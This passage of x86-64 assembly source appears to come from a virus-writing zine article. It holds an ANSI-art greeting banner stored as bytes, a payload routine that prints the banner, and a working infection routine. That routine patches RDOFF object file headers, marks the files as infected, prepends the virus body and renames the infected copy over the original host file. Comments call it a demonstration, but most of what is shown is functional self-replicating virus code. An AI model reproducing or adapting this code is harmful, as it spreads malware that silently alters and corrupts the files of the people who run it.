db 0xe2, 0x96, 0x84, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x84, 0xe2, 0x96
db 0x84, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88
db 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0x20, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x80
db 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x32, 0x39, 0x6d, 0xe2, 0x94, 0x80, 0x1b
db 0x5b, 0x37, 0x31, 0x62, 0x1b, 0x5b, 0x30, 0x6d, 0x0a, 0x20, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96
db 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x84
db 0xe2, 0x96, 0x84, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x88, 0x20, 0xe2, 0x96, 0x80
db 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0x20
db 0x20, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x80, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b
db 0x31, 0x36, 0x35, 0x6d, 0xe2, 0x94, 0x80, 0x1b, 0x5b, 0x37, 0x31, 0x62, 0x1b, 0x5b, 0x30, 0x6d
db 0x0a, 0x20, 0xe2, 0x96, 0x84, 0x20, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x84
db 0xe2, 0x96, 0x80, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x96
db 0x80, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0x20, 0x20, 0xe2, 0x96, 0x88, 0xe2
db 0x96, 0x84, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x80, 0x20, 0x20, 0x1b, 0x5b, 0x33
db 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x30, 0x31, 0x6d, 0xe2, 0x94, 0x80, 0x1b, 0x5b, 0x33, 0x33, 0x62
db 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x35, 0x39, 0x6d, 0x67, 0x72, 0x65, 0x65
db 0x74, 0x69, 0x6e, 0x67, 0x73, 0x20, 0x32, 0x20, 0x74, 0x68, 0x65, 0x20, 0x68, 0x61, 0x75, 0x6e
db 0x74, 0x65, 0x64, 0x20, 0x63, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x65, 0x72, 0x20, 0x63, 0x6c, 0x75
db 0x62, 0x1b, 0x5b, 0x30, 0x6d, 0x0a, 0x20, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x84, 0x20, 0x20
db 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20
db 0x20, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x84, 0x20, 0x20, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0x20
db 0xe2, 0x96, 0x80, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x39
db 0x6d, 0xe2, 0x94, 0x8c, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x90, 0xe2, 0x94, 0x8c, 0xe2, 0x94, 0x80, 0xe2
db 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94
db 0x90, 0xe2, 0x94, 0x8c, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x90, 0xe2, 0x94, 0x8c, 0xe2, 0x94, 0x80, 0xe2
db 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94
db 0x90, 0xe2, 0x94, 0x8c, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x90, 0xe2, 0x94, 0x8c, 0xe2, 0x94, 0x80, 0xe2
db 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94
db 0x90, 0xe2, 0x94, 0x8c, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x90, 0xe2, 0x94, 0x8c, 0x20, 0x20, 0x20, 0x20
db 0x20, 0x20, 0xe2, 0x94, 0x90, 0xe2, 0x94, 0x8c, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94
db 0x90, 0x1b, 0x5b, 0x30, 0x6d, 0x0a, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x84
db 0xe2, 0x96, 0x84, 0x20, 0x20, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x84, 0x20, 0x20, 0xe2, 0x96, 0x88
db 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x84, 0x20, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x88
db 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b
db 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x39, 0x6d, 0xe2, 0x94, 0x82, 0x20, 0x20, 0x20, 0x20
db 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94
db 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x94, 0xe2, 0x94
db 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x90, 0xe2, 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2
db 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x82, 0x20, 0x20
db 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x98, 0xe2
db 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0x1b, 0x5b, 0x30, 0x6d, 0x0a
db 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x84, 0xe2
db 0x96, 0x80, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x88, 0xe2, 0x96
db 0x88, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96
db 0x80, 0xe2, 0x96, 0x88, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35
db 0x3b, 0x31, 0x38, 0x39, 0x6d, 0xe2, 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94
db 0x82, 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x98, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20
db 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2
db 0x94, 0x82, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94
db 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x98, 0xe2, 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20
db 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2
db 0x94, 0x82, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x82, 0xe2, 0x94, 0x94, 0xe2, 0x94
db 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x82, 0x1b, 0x5b, 0x30, 0x6d, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20
db 0xe2, 0x96, 0x80, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x80, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96
db 0x88, 0x20, 0x20, 0xe2, 0x96, 0x80, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x80, 0x20, 0x20, 0x20, 0x20
db 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x38, 0x39, 0x6d, 0xe2, 0x94, 0x94
db 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x98, 0xe2, 0x94, 0x94, 0xe2, 0x94
db 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x98, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x98, 0xe2, 0x94, 0x94
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2
db 0x94, 0x80, 0xe2, 0x94, 0x98, 0xe2, 0x94, 0x94, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2
db 0x94, 0x94, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94
db 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x98, 0xe2, 0x94, 0x94, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x98, 0xe2
db 0x94, 0x94, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x94, 0x98, 0xe2, 0x94, 0x94, 0xe2, 0x94
db 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80, 0xe2, 0x94, 0x80
db 0xe2, 0x94, 0x98, 0x1b, 0x5b, 0x30, 0x6d, 0x0a
msg_len equ $-msg
payload:
pop rsi ; gets msg address from stack into rsi
mov rax, SYS_WRITE
mov rdi, STDOUT ; display payload
mov rdx, msg_len
syscall
jmp cleanup ; finishes execution
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
infect:
push rbp ; save the stack frame of the caller
mov rbp, rsp ; save the stack pointer
mov r14, rax ; r14 = pointer to target bytes (memory map address)
.create_temp_file:
push 0
mov rax, 0x5555555555555555 ; pushing "UUUUUUUU\0" to stack
push rax ; this will be the temporary file name, not great but it's for demonstration only
mov rdi, rsp
mov rsi, 755o ; -rw-r--r--
mov rax, SYS_CREAT ; creating temporary file
syscall
test rax, rax ; check if temporary file creation worked
js .infect_fail ; if negative code is returned, I failed and should exit
mov r13, rax ; r13 now contains temporary file fd
.patch_rdoff_top:
add dword [r14 + RDOFF.obj_len], V_SIZE ;; update obj_len
mov byte [r14 + RDOFF.global_hdr_flags ], 0x55 ;; mark the file with 0x55 marker
add dword [r14 + RDOFF.seg_txt_length], V_SIZE ;; update text segment len
.copy_rdoff_top:
mov rdi, r13 ; target fd from r13
mov rsi, r14 ; mmap *buff from r14
mov rdx, RDOFF_size ;; sizeof RDOFF header
mov rax, SYS_WRITE ;; write patched RDOFF header to target host
syscall
cmp rax, 0
jbe .infect_fail
.write_virus_body:
call .delta ; the age old trick
.delta:
pop rax
sub rax, .delta
mov rdi, r13 ; target temporary fd from r13
lea rsi, [rax + v_start] ; load *v_start
mov rdx, V_SIZE ; virus body size
mov rax, SYS_WRITE
syscall
cmp rax, 0
jbe .infect_fail
.write_everything_else:
mov rdi, r13
lea rsi, [r14 + RDOFF_size] ;; This should get us right to the start of the RDOFF code
mov rdx, [r15 + STAT.st_size] ; get size of host file from stack
sub rdx, RDOFF_size
mov rax, SYS_WRITE ; write rest of host file to temporary file
syscall
mov rax, SYS_SYNC ; commiting filesystem caches to disk
syscall
.end:
mov rdi, r14 ; gets mmap address from r14 into rdi
mov rsi, [r15 + STAT.st_size] ; gets size of host file from stack buffer
mov rax, SYS_MUNMAP ; unmapping memory buffer
syscall
mov rdi, r13 ; rdi is now temporary file fd
mov rax, SYS_CLOSE ; close temporary file fd
syscall
push 0
mov rax, 0x5555555555555555 ; pushing "UUUUUUUU\0" to stack
push rax ; as you know by now, this should have been done in a better way :)
mov rdi, rsp ; get temporary file name from stack into rdi
lea rsi, [r15 + 200] ; sets rsi to the address of the host file name from stack buffer
mov rax, SYS_RENAME ; replace host file with temporary file (sort of like "mv tmp_file host_file")
syscall
mov rax, 0 ; infection seems to have worked, set rax to zero as marker
mov rsp, rbp ; restore the stack pointer
pop rbp ; restore the caller's stack frame
jmp .infect_ret ; returns with success
.infect_fail:
mov rax, 1 ; infection falied, set rax to 1 and as marker
.infect_ret:
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
cleanup:
add rsp, 2000 ; restoring stack so host process can run normally, this also could use some improvement
xor rdx, rdx ; clearing rdx before giving control to host (rdx a function pointer that the application should register with atexit - from x64 ABI)
xor rdi, rdi ;; exit status
v_stop:
mov eax, SYS_EXIT
syscall
seg_hdr_data:
dw 2 ; seg_type: data
dw 1 ; seg_number: 1
dw 0 ; seg_resrvd: 0
dd 1 ; seg_length: 1
seg_data:
db 0x66 ; "6"
padding:
dd 0
dd 0
dw 0
end_rdf:
--[
PREV |
HOME |
NEXT ]--